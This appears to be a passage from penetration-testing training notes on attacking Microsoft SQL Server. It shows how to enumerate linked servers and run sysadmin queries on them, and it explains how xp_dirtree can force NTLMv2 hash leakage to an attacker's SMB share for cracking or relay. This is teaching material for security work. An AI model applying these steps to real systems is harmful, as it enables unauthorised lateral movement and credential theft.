**Note:** If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers.
{% endhint %}

## Communicate with Other Databases with MSSQL

`MSSQL` has a configuration option called [linked servers](https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/create-linked-servers-sql-server-database-engine). Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle.

If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server. Administrators can configure a linked server using credentials from the remote server. If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance. Let's see how we can identify and execute queries on linked servers.

### **Identify linked Servers in MSSQL**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2FXQ9k5ZP3xMRpSnqHtm9H%2Fimage.png?alt=media&#x26;token=c9bfe9c8-3fa9-43eb-91ce-1e9a40907855" alt=""><figcaption></figcaption></figure>

As we can see in the query's output, we have the name of the server and the column `isremote`, where `1` means is a remote server, and `0` is a linked server. We can see [sysservers Transact-SQL](https://docs.microsoft.com/en-us/sql/relational-databases/system-compatibility-views/sys-sysservers-transact-sql) for more information.

Next, we can attempt to identify the user used for the connection and its privileges. The [EXECUTE](https://docs.microsoft.com/en-us/sql/t-sql/language-elements/execute-transact-sql) statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets (`[ ]`).

{% code overflow="wrap" %}

```cmd
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)
```

{% endcode %}

{% hint style="warning" %}
**Note:** If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).
{% endhint %}

As we have seen, we can now execute queries with sysadmin privileges on the linked server. As `sysadmin`, we control the SQL Server instance. We can read data from any database or execute system commands with `xp_cmdshell`. This section covered some of the most common ways to attack SQL Server and MySQL databases during penetration testing engagements. There are other methods for attacking these database types as well as others, such as [PostGreSQL](https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql), SQLite, Oracle, [Firebase](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/buckets/firebase-database), and [MongoDB](https://book.hacktricks.xyz/network-services-pentesting/27017-27018-mongodb).

## Latest SQL Vulnerabilities

This time let's discuss a vulnerability that does not have a CVE and does not require a direct exploit. The previous section shows that we can get the `NTLMv2` hashes by interacting with the MSSQL server. However, we should mention again that this attack is possible through a direct connection to the MSSQL server and vulnerable web applications. However, we will only focus on the simpler variant for the time being, namely the direct interaction.

### The Concept of the Attack

We will focus on the undocumented MSSQL server function called `xp_dirtree` for this vulnerability. This function is used to view the contents of a specific folder (local or remote). Furthermore, this function provides some additional parameters that can be specified. These include the depth, how far the function should go in the folder, and the actual target folder.

#### **The Concept of Attacks**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2Fmsv9pLEqoUzai0TK1c6j%2Fimage.png?alt=media&#x26;token=84b6106c-7bdb-4c53-a0e8-1d4d2e0d4da2" alt=""><figcaption></figcaption></figure>

The interesting thing is that the MSSQL function `xp_dirtree` is not directly a vulnerability but takes advantage of the authentication mechanism of SMB. When we try to access a shared folder on the network with a Windows host, this Windows host automatically sends an `NTLMv2` hash for authentication.

This hash can be used in various ways against the MSSQL server and other hosts in the corporate network. This includes an SMB Relay attack where we "replay" the hash to log into other systems where the account has local admin privileges or `cracking` this hash on our local system. Successful cracking would allow us to see and use the password in cleartext. A successful SMB Relay attack would grant us admin rights on another host in the network, but not necessarily the host where the hash originated because Microsoft patched an older flaw that allowed an SMB Relay back to the originating host. We could, however, possibly gain local admin to another host and then steal credentials that could be re-used to gain local admin access to the original system where the NTLMv2 hash originated from.

### **Initiation of the Attack**

| Step | XP\_DIRTREE                                                                                                                     | Concept of Attacks - Category |
| ---- | ------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| `1.` | The source here is the user input, which specifies the function and the folder shared in the network.                           | `Source`                      |
| `2.` | The process should ensure that all contents of the specified folder are displayed to the user.                                  | `Process`                     |
| `3.` | The execution of system commands on the MSSQL server requires elevated privileges with which the service executes the commands. | `Privileges`                  |
| `4.` | The SMB service is used as the destination to which the specified information is forwarded.                                     | `Destination`                 |

This is when the cycle starts all over again, but this time to obtain the NTLMv2 hash of the MSSQL service user.

### **Steal The Hash**

| Step | Stealing the Hash                                                                                                           | Concept of Attacks - Category |
| ---- | --------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| `5.` | Here, the SMB service receives the information about the specified order through the previous process of the MSSQL service. | `Source`                      |
| `6.` | The data is then processed, and the specified folder is queried for the contents.                                           | `Process`                     |
| `7.` | The associated authentication hash is used accordingly since the MSSQL running user queries the service.                    | `Privileges`                  |
| `8.` | In this case, the destination for the authentication and query is the host we control and the shared folder on the network. | `Destination`                 |

Finally, the hash is intercepted by tools like `Responder`, `WireShark`, or `TCPDump` and displayed to us, which we can try to use for our purposes. Apart from that, there are many different ways to execute commands in MSSQL. For example, another interesting method would be to execute Python code in a SQL query. We can find more about this in the [documentation](https://docs.microsoft.com/en-us/sql/machine-learning/tutorials/quickstart-python-create-script?view=sql-server-ver15) from Microsoft. However, this and other possibilities of what we can do with MSSQL will be discussed in another module.
